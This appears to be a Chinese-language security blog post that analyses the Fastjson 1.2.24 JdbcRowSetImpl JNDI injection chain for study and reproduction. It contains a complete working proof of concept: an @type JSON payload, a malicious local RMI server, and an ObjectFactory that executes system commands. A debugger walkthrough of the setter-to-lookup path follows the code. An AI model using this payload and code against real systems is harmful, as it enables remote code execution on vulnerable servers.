1. 漏洞原理
fastjson在进行反序列化的时候会自动调用目标类的getter、setter方法。而com.sun.rowset.JdbcRowSetImpl类在调用setAutoCommit方法时会调用其connect(),connect()会调用lookup()方法且参数可控,造成jndi注入
2. 源码分析
2.1 测试代码
JndiFastjsonDemo
package org.atoposx.fastjson1224_jndi;
import com.alibaba.fastjson.JSON;
import java.rmi.registry.Registry;
import com.sun.rowset.JdbcRowSetImpl;
/**
* Fastjson 1.2.24 JNDI 注入漏洞演示(JdbcRowSetImpl 利用链)。
*
* 漏洞原理:
* 1. fastjson 1.2.24 默认开启 AutoType,允许通过 @type 指定反序列化类型。
* 2. JdbcRowSetImpl 类的 setDataSourceName() 和 setAutoCommit() 方法会触发 JNDI lookup。
* 3. 攻击者构造 JSON payload 指定 @type 为 JdbcRowSetImpl,dataSourceName 指向恶意 RMI/LDAP 服务。
* 4. fastjson 反序列化时调用 setter 方法,触发 JNDI 查找并实例化远程/本地 ObjectFactory,执行任意代码。
*
* 本 demo 使用本地 ObjectFactory 方案(工厂类在 classpath 上),绕过高版本 JDK 的 trustURLCodebase 限制。
*
* 运行步骤:
* 1. 本类会自动启动 RMI 服务器(端口 1099)。
* 2. 构造恶意 JSON payload。
* 3. 调用 JSON.parse() 触发反序列化 → JNDI 注入 → 执行恶意代码(弹计算器)。
*/
public class JndiFastjsonDemo {
public static void main(String[] args) throws Exception {
System.out.println("=== Fastjson 1.2.24 JNDI 注入漏洞演示 ===\n");
// 步骤 1:启动本地 RMI 服务器
System.out.println("[1] 启动恶意 RMI 服务器...");
Registry registry = EvilRmiServer.start();
Thread.sleep(500); // 等待服务器完全就绪
// 步骤 2:构造恶意 JSON payload System.out.println("\n[2] 构造恶意 JSON payload...");
String payload = "{"
+ "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
+ "\"dataSourceName\":\"rmi://127.0.0.1:1099/evil\","
+ "\"autoCommit\":true"
+ "}";
System.out.println("Payload: " + payload);
// 步骤 3:触发反序列化
System.out.println("\n[3] 调用 JSON.parse() 触发反序列化...");
try {
Object obj = JSON.parse(payload);
System.out.println("返回对象: " + obj);
} catch (Exception e) {
// JNDI 注入成功后可能抛异常(因为 ObjectFactory 返回 null),这是正常的
System.out.println("反序列化过程抛出异常(预期行为): " + e.getClass().getName());
}
System.out.println("\n=== 演示完成 ===");
System.out.println("如果看到 '[!] EvilObjectFactory.getObjectInstance 被调用' 和计算器弹出,");
System.out.println("说明 JNDI 注入成功,任意代码已执行。\n");
// 清理:注销 RMI 绑定(可选)
try {
registry.unbind(EvilRmiServer.BIND_NAME);
} catch (Exception ignored) {}
}
}
EvilRmiServer
package org.atoposx.fastjson1224_jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
* 本地恶意 RMI 服务器。
*
* 在本机 1099 端口启动 RMI Registry,并绑定一个名为 "evil" 的 Reference。
* Reference 的 factory 指向 {@link EvilObjectFactory},当 JNDI 客户端
* (这里是 JdbcRowSetImpl)执行 lookup("rmi://127.0.0.1:1099/evil") 时,
* 客户端会拿到该 Reference 并在本地 classpath 实例化 EvilObjectFactory,触发代码执行。
*/
public class EvilRmiServer {
public static final int PORT = 1099;
public static final String BIND_NAME = "evil";
/** 启动 RMI Registry 并完成绑定。返回 Registry 以便调用方持有引用、防止被 GC。 */
public static Registry start() throws Exception {
Registry registry = LocateRegistry.createRegistry(PORT);
// Reference(className, factory, factoryLocation)
// className 任意;factory 为本地 ObjectFactory 全限定名;factoryLocation 留空表示本地加载。
Reference reference = new Reference(
"EvilObject",
EvilObjectFactory.class.getName(),
null);
registry.bind(BIND_NAME, new ReferenceWrapper(reference));
System.out.println("[+] RMI Server 已启动: rmi://127.0.0.1:" + PORT + "/" + BIND_NAME);
return registry;
}
public static void main(String[] args) throws Exception {
start();
System.out.println("[+] 等待 JNDI 客户端连接... (Ctrl+C 退出)");
// 阻塞,保持服务存活
Thread.currentThread().join();
}
}
EvilObjectFactory
package org.atoposx.fastjson1224_jndi;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
/**
* 恶意 JNDI ObjectFactory。
*
* 当 fastjson 把 JSON 反序列化成 JdbcRowSetImpl 并触发其 setAutoCommit() 时,
* JdbcRowSetImpl 会用 dataSourceName 指定的地址执行 JNDI lookup。
* RMI 服务端返回的 Reference 把本类指定为 factory,JNDI 在客户端 classpath
* 上找到本类并调用 getObjectInstance(),从而执行任意代码。
*
* 说明:本类放在客户端 classpath 上,属于“本地工厂”利用方式。
* 因此即便在 JDK 8u191+/高版本 JDK(trustURLCodebase 默认 false、
* 禁止远程 codebase 加载)下也能成功触发,便于本地复现。
*/
public class EvilObjectFactory implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?, ?> environment) throws Exception {
System.out.println("[!] EvilObjectFactory.getObjectInstance 被调用 —— JNDI 注入成功!");
System.out.println("[!] 当前进程: " + System.getProperty("user.name")
+ " @ " + System.getProperty("os.name"));
// 演示任意命令执行:弹计算器(macOS)。可按需替换为其它无害命令。
String os = System.getProperty("os.name").toLowerCase();
String[] cmd;
if (os.contains("mac")) {
cmd = new String[]{"open", "-a", "Calculator"};
} else if (os.contains("win")) {
cmd = new String[]{"cmd", "/c", "calc"};
} else {
cmd = new String[]{"/bin/sh", "-c", "id"};
}
Process p = Runtime.getRuntime().exec(cmd);
p.waitFor();
System.out.println("[!] 命令已执行: " + String.join(" ", cmd));
return null;
}
}
2.2 Fastjson 1.2.24
调试的时候需要关掉“不要进入类”按钮,否则断点进不到jdk内部类

setter的自动调用分析参考FastJson基础分析,直接快进到调用的部分 这里调用不是通过setValue去进行invoke的反射调用,而是走到了第600行

步入com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField方法

步入773行com.alibaba.fastjson.parser.deserializer.FieldDeserializer#parseField方法

可以发现在此处调用了setValue方法,跟进就是invoke反射调用setAutoCommit

跟进

步入com.sun.rowset.JdbcRowSetImpl#connect方法

第322行发现调用了lookup进行jndi查询,和jndi注入一致。JNDI注入部分参考JNDI注入原理分析 而传入的参数dataSourceName,也就是jndi请求的远程地址也可以通过setDataSourceName()传入 ,所以payload中需要setDataSourceName字段
FastJson反序列化 JdbcRowSetImpl JNDI利用链
https://blog.atoposx.com/archives/019d6603-423f-7274-80d1-fb4851ea1954
评论